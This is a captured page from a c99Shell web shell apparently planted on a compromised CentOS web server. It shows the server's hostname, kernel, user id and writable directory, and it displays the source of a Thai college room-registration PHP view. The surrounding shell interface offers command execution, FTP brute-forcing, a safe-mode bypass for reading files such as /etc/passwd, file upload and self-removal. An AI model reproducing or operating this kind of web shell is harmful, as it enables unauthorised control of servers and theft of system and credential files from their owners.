!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/eregis/   drwxrwxrwx
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_addRoom.php (5.79 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$row_rm 
= isset($qu_rm) ? $qu_rm->row() : NULL;
$row_bd = isset($qu_bd) ? $qu_bd->row() : NULL;
?>
<table width="100%" align="center">
    <tr>
        <td>
            <div align="center"><table width="100%">
                <tr>
                    <td colspan="2" align="center" class="h error">ข้อมูลห้อง</td>
                </tr>
                <tr>
                    <td align="right">
<?php
                    
echo anchor_popup($this->config->item("rg_folder")."bdcollege/rm_print""<img src=\"".base_url().$this->config->item('rg_print')."\" width=\"15\" height=\"14\" align=\"absmiddle\" border=\"0\" />");
?>
                    </td>
                </tr>
                <tr> 
                    <td><?php echo form_open($this->config->item("rg_folder")."bdcollege/rm_insert_update", array("name" => "myform""id" => "myform"));?>
                    <table class="szone">
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone"><font size="2">ชื่ออาคาร</font></td>
                            <td>
<?php
                            
if (isset($qu_rm) && isset($qu_bd)) {
                                echo 
getval('hwName'$row_bd);
?>
                            <input type="hidden" name="plBuilding" id="plBuilding" value="<?php echo getval('plBuilding'$row_rm);?>" class="input 2" />
<?php
                            
} else {
                                
$js "id=\"plBuilding\" class=\"required\"";
                                echo 
form_dropdown("plBuilding"$rs_bdgetval('plBuilding'$row_rm), $js);
?>
                            <span class="error">* <?php echo form_error("plBuilding");?></span>
<?php
                            
}
?>
                            </td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone"><font size="2">หมายเลขห้อง</font></td>
                            <td><input type="text" name="plRmNo" id="plRmNo" value="<?php echo getval('plRmNo'$row_rm);?>" size="8" class="required" />
                            <span class="error">* <?php echo form_error("plRmNo");?></span></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone"><font size="2">ความจุ (คน)</font></td>
                            <td><input type="text" name="plCapacity" id="plCapacity" value="<?php echo setValue('plCapacity',$row_rm);?>" size="5" maxlength="4" class="required-int" />
                            <span class="error">* <?php echo form_error("plCapacity");?></span></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone"><font size="2">ประเภทห้อง</font></td>
                            <td>
<?php
                            
echo form_dropdown('plRtId'$rs_rtsetValue('plRtId'$row_rm));
?>
                            <span class="error">* <?php echo form_error("plRtId");?></span></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td colspan="2" align="center">
<?php
                            
if($cfgCheckSP=='N') {
                                
$disabled '';
                            } else {
                                
$disabled 'disabled';
                            }
                            
$lnk "<input type=\"submit\" id=\"btnSubmit\" name=\"btnSubmit\" value=\"บันทึก\" ".$disabled."/>";
                            echo 
$oCRUD->CRUD($lnk'C');
?>
                            <input type="reset" name="clear" value="เคลียร์ข้อมูล" />
                            <input type="hidden" name="plHwId" id="plHwId" value="<?php echo setValue('plHwId'$row_rm);?>" /></td>
                        </tr>
                    </table><?php echo form_close();?></td>
                </tr>
                <tr><td><br/></td></tr>
                <tr>
                    <td><table width="100%" align="center" class="headCol">
                        <tr>
                            <th><font size="2" color="<?php echo $font_color_table;?>"><b>อาคาร</b></font></td>
                            <th><font size="2" color="<?php echo $font_color_table;?>"><b>หมายเลขห้อง</b></font></th>
                            <th class="stdCodeCol"><font size="2" color="<?php echo $font_color_table;?>"><b>ความจุ (คน)</b></font></th>
                            <th class="editCol"><font size="2" color="<?php echo $font_color_table;?>"><b>แก้ไข</b></font></th>
                            <th class="deleteCol"><font size="2" color="<?php echo $font_color_table;?>"><b>ลบ</b></font></th>
                        </tr>
<?php
            $i 
0;
            if (
$rs_rm && $rs_rm->num_rows()) {
                foreach (
$rs_rm->result() as $row) {
                    echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
                            <td class="indent"><font size="2"><?php echo $row->bdHwName;?></font></td>
                            <td class="indent"><font size="2"><?php echo $row->plRmNo;?></font></td>
                            <td align="center" class="indent"><font size="2"><?php echo $row->plCapacity;?></font></td>
                            <td align="center">
<?php
                        
if($cfgCheckSP=='N') {
                            
$lnk "<span class=\"hand\" onClick=\"sendPost('hidform', {'plHwId':".$row->plHwId."}, 'rm_input')\"><img src=\"".base_url().$this->config->item("rg_edit")."\" align=\"absmiddle\" border=\"0\" /></span>";
                            echo 
$oCRUD->CRUD($lnk'U');
?>
                            </td>
                            <td align="center">
<?php
                            $lnk 
"<span class=\"hand\" onClick=\"confirmDel2({'plHwId':".$row->plHwId."}, 'm_form1', 'rm_delete')\" /><img src=\"".base_url().$this->config->item("rg_delete")."\" align=\"absmiddle\" border=\"0\" width=\"16\" height=\"19\" /></span>";
                            echo 
$oCRUD->CRUD($lnk'D');
                        } else {
?>
                            <img src="<?php echo base_url().$this->config->item('rg_edit_copyGrey');?>";?></td>
                            <td align="center"><img src="<?php echo base_url().$this->config->item('rg_deleted');?>" />
<?php
                        
}
?>
                            </td>
                        </tr>
<?php
                    $i
++;
                }
            } else {
?>
                        <tr>
                            <td colspan="5" height="22" align="center"><span class="error">** ไม่ปรากฏรายการในฐานข้อมูล **</span></td>
                        </tr>
<?php
            
}
?>
                    </table></td>
                </tr>
                <tr>
                    <td align="right"><font size="2">รวม <?php echo $i;?> รายการ</font></td>
                </tr>
            </table></div>
            <div class="error"><strong>หมายเหตุ : </strong>* หมายถึง ต้องกรอกข้อมูลให้สมบูรณ์</div>
        </td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0075 ]--